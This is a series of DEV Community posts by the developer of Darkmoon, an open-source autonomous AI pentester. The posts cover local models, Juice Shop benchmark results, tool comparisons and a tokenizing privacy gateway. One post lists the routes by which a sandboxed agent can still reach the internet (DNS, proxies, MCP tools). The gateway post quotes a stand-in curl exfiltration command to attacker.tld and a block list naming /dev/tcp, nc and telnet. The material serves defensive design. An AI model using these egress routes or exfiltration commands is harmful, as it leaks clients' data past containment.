DEV Community: Mehdi BOUTAYEB

Your AI pentester is probably exfiltrating your client's data. Run it air-gapped instead.

Mehdi BOUTAYEB — Sun, 02 Aug 2026 13:36:41 +0000

Disclosure: I build Darkmoon, one of the tools that does this locally. But the problem is real no matter which tool you pick.

The uncomfortable default

Most autonomous AI pentesters call a hosted cloud LLM. To do their job they feed that model your targets: IPs, hostnames, request and response bodies, sometimes credentials and source. That is your client's data leaving your control, mid-engagement, to a third party. For a regulated environment it is a breach waiting to happen. For a pentest firm it is a contract violation.

"We have a DPA" is not the same as "the data never left"

A data processing agreement is paperwork. Air-gapped is physics. If the bytes never leave the machine, there is nothing to leak, subpoena, or misconfigure.

How to actually run local

Local inference: Ollama or llama.cpp on your own hardware. The model runs where the data is.
A privacy gateway: even if a step must call a remote service, tokenize sensitive values with deterministic placeholders first, then rehydrate locally. The remote side never sees real values.
Self-hosted everything: no vendor cloud in the loop.

Does local actually work?

Yes: 57 real vulnerabilities on OWASP Juice Shop in 28 minutes, black-box, on a local model, reproducible: https://github.com/ASCIT31/Darkmoon-Benchmarks

Darkmoon is open source and built this way: https://github.com/ASCIT31/Dark-Moon . If you run pentests for clients, "where does the model run" belongs at the top of your tooling checklist.

6 open-source AI pentesters, one OWASP Juice Shop, ranked (reproducible)

Mehdi BOUTAYEB — Sun, 02 Aug 2026 13:35:44 +0000

Disclosure: Darkmoon is my project. But this is a reproducible benchmark, not a ranking I get to fudge. Run it yourself.

The question

Every AI pentester ships a headline number under different conditions. So I fixed the conditions: same public lab (OWASP Juice Shop, default docker image), black-box, method published.

The result so far

Darkmoon, black-box, on a local LLM: 57 findings (8 critical, 24 high, 21 medium, 4 low) in 28.5 minutes, proof of exploitation per finding. It compounds across runs: 14, 28, 38, 44, 49, 57.

The other tools (strix, shannon, PentAGI, PentestGPT, CAI) sit on a "run pending" row. That is the honest part: I am not going to invent their numbers. It is a community leaderboard, run your favorite tool against the same image and send a PR.

Why black-box on a public lab

Because it is the only setup anyone can verify. White-box numbers on a self-cleaned validation set are impressive but not comparable. A public image plus a documented method is falsifiable, which is the whole point of a benchmark.

Reproduce or contest

docker run -p 3000:3000 bkimminich/juice-shop, then run the tool. Full method and raw output: https://github.com/ASCIT31/Darkmoon-Benchmarks

If your tool beats 57 black-box on Juice Shop, I want that PR. If it does not, that is useful data too.

I let an autonomous AI agent try to escape its sandbox. Here is what still reached the internet.

Mehdi BOUTAYEB — Sun, 02 Aug 2026 13:35:41 +0000

Disclosure: I build Darkmoon, an autonomous AI pentester. This post is about a failure mode every team shipping agents should test: an agent you think is contained still finding a way out.

The premise

You give an AI agent tools. You deny it direct internet. You feel safe. You should not.

What still gets out

Even with no direct egress, an agent can reach the internet through:

DNS. A tool that resolves a hostname just exfiltrated data one lookup at a time.
A "helpful" proxy, or a package manager the agent is allowed to call.
An MCP tool that itself has network access the agent inherits.
Telemetry or error endpoints baked into a dependency.

Why this matters for AI pentesters specifically

An offensive agent handles the most sensitive data you have: target IPs, hostnames, credentials, findings. If that agent quietly calls a cloud LLM, all of it leaves your environment before you notice. The sandbox was never the boundary. The model endpoint was.

The fix we landed on

Two layers:

Run the model locally (Ollama or llama.cpp). No prompt and no target data ever leaves the machine.
For anything that must touch a remote service, tokenize sensitive values first with deterministic placeholders, then rehydrate locally. The remote side sees stable fake values, never the real ones.

Test it yourself

Make it release-blocking: assert that your agent, with "no internet", truly cannot resolve or reach an external host during a run. Most teams have never run that assertion. It fails more often than you would like.

Darkmoon is open source (GPL-3.0) and built around this local-first model: https://github.com/ASCIT31/Dark-Moon . How does your agent stack hold up to the egress test?

I pointed an autonomous AI attacker at a zero-trust demo (OpenNHP). 51 findings on the exposed side, zero on the protected side.

Mehdi BOUTAYEB — Sun, 02 Aug 2026 13:08:28 +0000

Disclosure: I work on Darkmoon, the autonomous AI pentester used here. But this post is really about the defense, because the interesting result is what the attacker could NOT do. Everything is reproducible against the same public demo.

The test

OpenNHP is an open-source zero-trust tool that uses Single Packet Authorization: services stay undiscoverable unless you present valid credentials first. No discovery, no attack surface.

So I did the fair version of the test: point a fully autonomous AI attacker at OpenNHP's public demo, non-destructive, and let it do whatever it wanted. The demo has two planes:

NHP-protected hosts (server2, access controller)
Intentionally exposed components (a public auth plugin and helper hosts)

The numbers

Exposed surface, 51 findings: 4 high, 10 medium, 17 low, 20 informational. On the exposed side the agent behaved like any capable attacker: it enumerated, chained, and reported. Normal.

Protected plane: zero findings. Not zero exploitable findings. Zero of anything. The autonomous attacker could not even establish that a target existed.

Every discovery method timed out with no response:

curl over HTTP/HTTPS gave exit code 28 (timeout)
targeted naabu scans on 22 / 80 / 443 / 8080 found nothing
raw TCP connect probes found nothing
ICMP found nothing

Why this is the interesting part

An autonomous agent is only as good as its first step: discovery. If it cannot find the target, the entire kill chain never begins. Recon, exploitation, lateral movement, all moot. OpenNHP moves the security boundary before discovery.

The decisive detail: on the exposed side, an agent private key was served publicly in config.json. That key was the whole game. Without it, the protected host cannot be discovered or attacked at all. With it, you are inside the trust boundary. It is a clean illustration that in a zero-trust design, the credential is the attack surface, not the port.

Takeaway for builders

Most of the AI-pentest conversation is about making attackers smarter. This test is the mirror image: a smart autonomous attacker is trivially defeated by a target it cannot see. If you run internet-facing services, "reduce discoverability" belongs above "patch faster" on the list.

Credit to the OpenNHP project. The result validates their design, not ours.

Darkmoon (the tool) is open source here: https://github.com/ASCIT31/Dark-Moon. But honestly, go read how OpenNHP works first.

I ran an autonomous AI pentester on OWASP Juice Shop, on a LOCAL model. 57 real vulns in 28 min.

Mehdi BOUTAYEB — Sun, 02 Aug 2026 13:04:54 +0000

Full disclosure up front: I work on Darkmoon, one of the tools below. I have tried to keep this a fair teardown, not an ad. Every number is reproducible.

The setup

I wanted one honest answer: point an autonomous AI pentester at a target it has never seen, black-box, like a real engagement. What does it actually find? Target: OWASP Juice Shop, the standard public vulnerable app (docker run -p 3000:3000 bkimminich/juice-shop).

The twist I care about: most AI pentesters ship your traffic and code to a cloud LLM. For anything near production or a client environment, that is a non-starter. So the real question is not just "does it find bugs". It is "does it find bugs without exfiltrating your data".

What happened

Running black-box against Juice Shop on a local model (Ollama/llama.cpp), Darkmoon returned:

Metric	Result
Vulnerabilities	57 (8 critical, 24 high, 21 medium, 4 low)
Time	28.5 min
Proof-of-exploitation	per finding
Data sent to a third party	none (local model)

And it compounds across runs on the same target: 14, then 28, 38, 44, 49, then 57.

Raw output and methodology so you can reproduce (or contest) it: https://github.com/ASCIT31/Darkmoon-Benchmarks. PRs with other tools' runs are welcome, this is meant to be a community leaderboard.

Why "local" is the whole point

The impressive numbers you see elsewhere (for example white-box benchmarks in the 90s%) are real but come with conditions: they read your source and call a cloud model. That is a different trade-off. A local, black-box run is the one you can actually run against a sensitive target without a data-egress conversation.

Honest limitations

One lab is a starting point, not the whole story. Black-box favors breadth; white-box tools optimize a different axis. Numbers move as tools improve, which is exactly why the benchmark repo is a living, reproducible thing rather than a screenshot.

Try it

git clone https://github.com/ASCIT31/Dark-Moon && cd Dark-Moon && ./install.sh. GPL-3.0, self-hosted, runs on a local or cloud LLM. If it saves you a manual pass, a star helps other defenders find it.

What black-box results do you get on Juice Shop? Drop them in the comments or send a PR to the benchmark.

Open source autonomous AI pentesting tools in 2026: an honest field guide

Mehdi BOUTAYEB — Mon, 13 Jul 2026 11:58:07 +0000

If you have looked for an open source, autonomous AI penetration testing tool in the last year, you have probably noticed the space went from empty to crowded very fast. Here is an honest field guide to the open source options in 2026, what each one is actually good at, and how to pick. No hype, no "this one wins," just the trade offs.

What "autonomous AI pentest" means here

A tool that takes a target, reasons about it with a language model, and actually runs offensive tools against it (not just suggests commands), then reports findings. The interesting axes to compare are: license, scope (web only vs web plus Active Directory, Kubernetes, cloud), whether it can run on a local model (data sovereignty), and whether findings come with proof of exploitation or just a model's opinion.

The open source landscape

PentestGPT (github.com/GreyDGL/PentestGPT) — the one that started the wave. An interactive assistant that guides you through a pentest with an LLM. Great for learning and CTF style work; you stay in the loop and run things yourself.
hackingBuddyGPT (github.com/ipa-lab/hackingBuddyGPT) — academic, focused and honest. Good if you want to study how far a small model gets on privilege escalation, with published numbers.
Strix (github.com/usestrix/strix) — autonomous agents for web app testing, Apache 2.0, active and polished.
PentAGI (github.com/vxcontrol/pentagi) — an autonomous framework with an orchestrator and a memory graph, container based.
CAI, Cybersecurity AI (github.com/aliasrobotics/cai) — a framework for building autonomous security testing agents, from Alias Robotics, with its own benchmark work.
Darkmoon (github.com/ASCIT31/Dark-Moon) — GPL-3.0 platform and MCP host with per technology offensive sub agents (GraphQL, Spring, .NET, Node, PHP, Ruby, WordPress) plus Active Directory and Kubernetes, an evidence trail on every finding, and a local 14B model option. Its distinguishing piece is a Privacy Gateway (below).
Worth knowing but not open source: XBOW (topped a HackerOne leaderboard, closed), and the commercial validation vendors NodeZero / Horizon3 and Pentera.

How to actually choose

Do you need more than web? Most of these focus on web app testing. If your reality includes Active Directory and Kubernetes, that narrows the field fast.
Can you send target data to a hosted model? For a lot of teams the answer is no. Then you want a tool that runs on a local model, or one that never sends real sensitive values to the model at all.
Do you trust a finding without proof? An LLM saying "this looks like SQLi" is not the same as a tool that executed the payload and kept the evidence. Prefer proof of exploitation.
License matters if you plan to self host, modify, and audit. GPL and Apache are not the same commitment.

The data sovereignty problem, and one answer

The blocker nobody advertises: the moment an autonomous agent sends real IPs, hostnames, credentials or internal paths to a hosted model, sensitive facts about your infrastructure leave your perimeter. For regulated and defense teams that alone kills the approach.

Darkmoon's Privacy Gateway is one concrete answer, and its core is open source. The model only ever sees deterministic placeholders (IP_PRIVATE_001, HOST_INTERNAL_001, EMAIL_001). The real values are reinjected locally just before a tool runs, then masked again before anything returns to the model, and any exfiltration attempt is blocked. We validated it end to end on OWASP Juice Shop with the gateway active the whole run: 56 vulnerabilities found while the model never saw a single real IP. If you are building agentic security tooling, the pattern generalizes: keep the reasoning on a capable model, keep the secrets on your side.

Bottom line

The honest summary: PentestGPT and hackingBuddyGPT are where you learn, Strix and PentAGI and CAI are strong autonomous web frameworks, and if your constraints are Active Directory plus Kubernetes plus strict data privacy, look at Darkmoon. All of these are open source, so the best move is to clone the two or three that fit your reality and run them against a lab.

Repos again: PentestGPT github.com/GreyDGL/PentestGPT, Strix github.com/usestrix/strix, PentAGI github.com/vxcontrol/pentagi, CAI github.com/aliasrobotics/cai, hackingBuddyGPT github.com/ipa-lab/hackingBuddyGPT, Darkmoon github.com/ASCIT31/Dark-Moon.

Let an AI pentest agent use a frontier model without leaking your network

Mehdi BOUTAYEB — Fri, 10 Jul 2026 07:26:15 +0000

The blocker nobody talks about in AI pentesting

Autonomous AI pentesting works by feeding a language model what it observes on a target (open ports, internal hostnames, error messages, credentials it recovers) and letting it decide the next move. That is also the problem. The moment you send real IPs, internal hostnames, emails, tokens or file paths to a hosted model, sensitive facts about your infrastructure leave your perimeter. For a lot of teams (regulated, defense, anyone with a data sovereignty requirement) that single fact kills the whole approach, no matter how capable the model is.

We wanted the reasoning quality of a frontier model and a guarantee that it never sees a real sensitive value. Here is how the Privacy Gateway we just shipped in Darkmoon (open source, GPL-3.0) does it.

Deterministic placeholders, not redaction

Redaction destroys information. A pentest agent needs to reason about relationships ("this host also exposed that email"), so blanking values out is not an option. Instead the PrivacyVault tokenizes every sensitive value into a deterministic placeholder: IP_PRIVATE_001, HOST_INTERNAL_001, EMAIL_001. Same value maps to the same placeholder within a session, so the model can still correlate, pivot and plan. What it never gets is the real value.

The mapping is protected in memory: an HMAC fingerprint is used for deduplication and the value itself is stored Fernet encrypted. No raw value is retained in a form that can be logged. The scope is the session, with a TTL, and secrets are never restored into a command (the one exception being an explicit local report path).

Rehydrate locally, at the last possible moment

The model emits a command or a structured tool call written entirely in placeholders. Just before execution, on your machine, the CommandGateway rehydrates only the whitelisted fields. This is context aware, never a naive global find and replace, so nmap actually runs against the real address. The tool output is then sanitized in two passes and re-tokenized before any of it goes back to the model.

A concrete pass:

The model sees Host IP_PRIVATE_001 has ports 80,443 open
It emits nmap -sV IP_PRIVATE_001 -p 80,443
The gateway executes nmap -sV 10.42.1.5 -p 80,443 locally
The output is re-masked before returning to the model

The model never learns 10.42.1.5.

Blocking exfiltration

A model that never sees a value still cannot be allowed to smuggle it out through a tool call. The gateway blocks the obvious channels: a placeholder landing in a URL query string, a literal external host, an echo or print of a secret, a POST body, /dev/tcp, nc or telnet to a non target. So curl https://attacker.tld/?target=IP_PRIVATE_001 is refused rather than quietly rehydrated.

Does it actually hold up

Two checks, stated honestly.

Properties, not vibes. 22 tests cover the 7 properties that matter: the model never sees the real IP, the mapping is deterministic, local execution is correct, stdout and stderr are sanitized, exfiltration is blocked, placeholders are not resolvable by the model, and secrets are never restored into a command. All 22 pass, and they run against the compiled production image (Nuitka, sources stripped, Fernet active), not just the source tree.

A real run. End to end against OWASP Juice Shop with a frontier model, gateway active for the entire run: 56 vulnerabilities found (9 critical, 23 high, 17 medium, 7 low; 36 exploited), with IP_PRIVATE_001 and EMAIL_001 in every observation the model received. The privacy layer did not blunt the pentest.

What is open, and why

The core is open source: the reversible tokenization, the anti exfiltration gateway, and the in memory vault. The enterprise hardening (a vault sealed by the runtime guard, an audit trail of every rehydration, compliance proof, a config UI) is the Pro layer. Open sourcing the core is deliberate: if a tool claims your sensitive data never reaches the model, you should be able to read exactly how that claim is enforced.

Repo: https://github.com/ASCIT31/Dark-Moon

If you are building agentic security tooling, the pattern generalizes beyond pentesting. You can keep the reasoning on a hosted model and keep the secrets on your side, as long as the tokenization is reversible and deterministic and the rehydration happens locally, behind a gateway that treats exfiltration as a first class threat.

How to read AI pentest benchmark claims: XBEN, 96 percent scores, and what they hide

Mehdi BOUTAYEB — Tue, 07 Jul 2026 20:30:42 +0000

Several autonomous pentest tools now advertise scores around 96 percent on the XBOW XBEN benchmark. A percentage with no context is marketing, not evidence. Here is how to read those claims like a practitioner.

What XBEN actually is

XBOW open sourced a set of 104 web challenges built around exploit validation rather than detection. That focus is healthy: proving exploitation is a much harder and more honest bar than flagging a potential issue. But a benchmark is only as meaningful as the conditions you run it under.

The variables that inflate a score

Hint free or hinted? Single attempt or unlimited retries? What is the false positive rate behind the headline number? A tool that scores high with hints and retries is not comparable to one that scores lower hint free on the first try.

The controlled to the wild gap

Recent research evaluating agents on real targets, not just labs, keeps finding the same thing: lab benchmarks overstate real capability. CTF style completion is not the same as validated discovery on a messy production system.

A transparency checklist

Before you trust any autonomous pentest claim, ask for a reproducible run, the proof of exploit artifacts, the false positive rate, and whether it was hint free. If those are missing, the number is a slide, not a result.

Try it

Reproducibility is the whole point. Run the benchmark yourself against whatever tool you are evaluating and compare honestly.

Repo (GPLv3): https://github.com/ASCIT31/Dark-Moon
Docs: https://docs.dark-moon.org/
Demo: https://youtu.be/1bFRVuMkZzY

Built by pentesters, open sourced for pentesters. Feedback on the methodology and the evidence trail is genuinely welcome.

The real bottleneck in AI pentesting is validated exploitation, not discovery

Mehdi BOUTAYEB — Tue, 07 Jul 2026 20:30:05 +0000

In 2026 the AI slop problem got impossible to ignore: bug bounty platforms paused programs, maintainers like curl walked away from bounties, and autonomous agents started flooding open source projects with low quality reports. The lesson is that discovery got cheap and proof got scarce.

Discovery is now the easy part

An LLM can generate a plausible looking finding in seconds. That is exactly why platforms are drowning. When the cost of producing a report drops to near zero, volume stops being a signal of value and starts being noise.

Proof of exploit is the scarce thing

The finding that matters is the one you can actually exploit, with the exact commands and raw output to back it. An autonomous tool that only reports what it can prove, and attaches the evidence, produces a short list a human can trust instead of a long list a human has to triage.

Responsible behaviour toward maintainers

Autonomous offensive tooling that scrubs public repos and files unsolicited reports is part of the problem, not the solution. Scope proof, deduplication, rate limiting and a human sign off should be defaults, not afterthoughts.

The design principle

Optimise for validated exploitation and an auditable evidence trail, not for the number of findings. That is the antidote to slop, and it is the only version of autonomous pentesting that survives contact with a real remediation team.

Try it

If you care about proof over volume, the methodology and evidence trail are the part worth scrutinising.

Repo (GPLv3): https://github.com/ASCIT31/Dark-Moon
Docs: https://docs.dark-moon.org/
Demo: https://youtu.be/1bFRVuMkZzY

Built by pentesters, open sourced for pentesters. Feedback on the methodology and the evidence trail is genuinely welcome.

Shannon and Darkmoon: two Claude powered pentesters, compared

Mehdi BOUTAYEB — Tue, 07 Jul 2026 20:26:40 +0000

Disclosure: I work on Darkmoon. Shannon (KeygraphHQ) is the closest technical twin, both lean on Claude, so a fair comparison is useful.

Shannon's strength

Shannon is a white box pentester that reads your source, identifies attack vectors and executes real exploits to prove them, and it scores very well on the XBOW benchmark. For source available web and API testing, it is excellent.

Darkmoon's focus

Darkmoon is black box and multi surface: it chains across web, cloud, AD and Kubernetes without needing source, orchestrating 80 plus tools via MCP with an evidence trail per finding.

Licensing and model

Shannon is AGPL-3.0, Darkmoon is GPL-3.0. Both are model agnostic in spirit and tuned around Claude Opus for planning stability.

Which to pick

If you have source and want white box proof, Shannon. If you need broad black box chaining across an internal estate, Darkmoon. Both are open, so you can try both.

Try it

Run both against a lab and judge for your scope.

Repo (GPLv3): https://github.com/ASCIT31/Dark-Moon
Docs: https://docs.dark-moon.org/
Demo: https://youtu.be/1bFRVuMkZzY

Built by pentesters, open sourced for pentesters. Feedback on the methodology and the evidence trail is genuinely welcome.

NodeZero is excellent, but it is SaaS: the self hosted open source path

Mehdi BOUTAYEB — Tue, 07 Jul 2026 20:25:59 +0000

Disclosure: I work on Darkmoon. NodeZero is a genuinely good autonomous pentest platform. This is for the teams that cannot use it because the targets cannot leave their environment.

Why SaaS is a blocker for some

Regulated, air gapped or data sensitive environments often cannot send targets or results to a vendor cloud. That rules out most hosted platforms regardless of quality.

What self hosted changes

A self hosted engine keeps scope, data and evidence inside your environment. You run it on your own model and infrastructure.

What you get with an open source MCP host

Darkmoon is GPL-3.0, model agnostic, and orchestrates 80 plus offensive tools via MCP across web, cloud, AD and Kubernetes, keeping a proof trail per finding.

Being fair

You give up the polish and support of a funded SaaS. You gain control, privacy and the ability to read and change the method.

Try it

If data residency is the constraint, a self hosted open source engine is worth a lab run.

Repo (GPLv3): https://github.com/ASCIT31/Dark-Moon
Docs: https://docs.dark-moon.org/
Demo: https://youtu.be/1bFRVuMkZzY

Built by pentesters, open sourced for pentesters. Feedback on the methodology and the evidence trail is genuinely welcome.

Open source autonomous pentesting: Darkmoon compared to Strix, PentAGI and Shannon

Mehdi BOUTAYEB — Tue, 07 Jul 2026 20:25:17 +0000

Disclosure: I work on Darkmoon, and I tried to make this a fair map of the open source field rather than a pitch. If you are choosing an open source AI pentester, here is how the main options actually differ.

Strix

usestrix/strix runs code dynamically and validates web and app vulnerabilities with real proof of concept exploits. It is strong and fast on the application layer. If your scope is mostly web and API, look at it seriously.

PentAGI and Shannon

PentAGI (vxcontrol) is a self hosted multi agent system with 20 plus built in tools. Shannon (KeygraphHQ) is a white box, Claude based pentester that reads source and proves exploitation, and it scores very well on the XBOW benchmark. Both are excellent at what they focus on.

Where Darkmoon is different

Darkmoon focuses on multi surface coverage (web, cloud, Active Directory, Kubernetes, API and internal networks) orchestrated through MCP, with the methodology written as Markdown playbooks you can read and fork, and an evidence trail on every finding.

How to choose honestly

For source aware web testing, Shannon and Strix are compelling. For broad multi host chaining across AD and Kubernetes with an auditable method, try Darkmoon. They are not mutually exclusive.

Try it

Read the playbooks and run whichever fits your scope against a lab. Feedback and corrections to this comparison are welcome.

Repo (GPLv3): https://github.com/ASCIT31/Dark-Moon
Docs: https://docs.dark-moon.org/
Demo: https://youtu.be/1bFRVuMkZzY

Built by pentesters, open sourced for pentesters. Feedback on the methodology and the evidence trail is genuinely welcome.